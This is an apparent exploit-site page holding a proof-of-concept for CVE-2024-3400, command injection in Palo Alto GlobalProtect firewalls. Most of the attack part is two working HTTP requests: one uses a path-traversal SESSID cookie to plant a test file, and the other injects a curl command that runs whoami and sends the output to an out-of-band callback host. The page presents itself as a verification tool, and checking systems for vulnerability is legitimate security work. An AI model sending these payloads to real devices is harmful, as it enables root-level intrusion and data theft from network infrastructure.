## https://sploitus.com/exploit?id=EB392FD6-CD1E-591B-B2CF-A92DACBBED60
# CVE-2024-3400 Vulnerability PoC (Verification Tool)
## Vulnerability Description
CVE-2024-3400 is a command injection vulnerability present in the Palo Alto firewall system. Attackers can execute malicious commands on target servers by sending carefully crafted HTTP requests, even gaining root access.
## Steps to Reproduce the Vulnerability
1. Send the following HTTP request:
```http
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
After sending this request, a file named `hellome1337.txt` will be created on the server, and this file will have root access. When you attempt to access this file, a HTTP status code of 403 (Forbidden) should be returned, instead of 404 (Not Found). Screenshots demonstrate the exploitation process:


2. To exploit this vulnerability and perform command injection, you can send the following HTTP request:
```http
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
This request will execute the `whoami` command on the server and send the result to the specified remote server (e.g., `xxxxxxxxxxxxxxxxx.oast.fun`).
## Further Reading
- [Rapid7 Analysis](https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis)
- [WatchTowr Lab Analysis](https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/)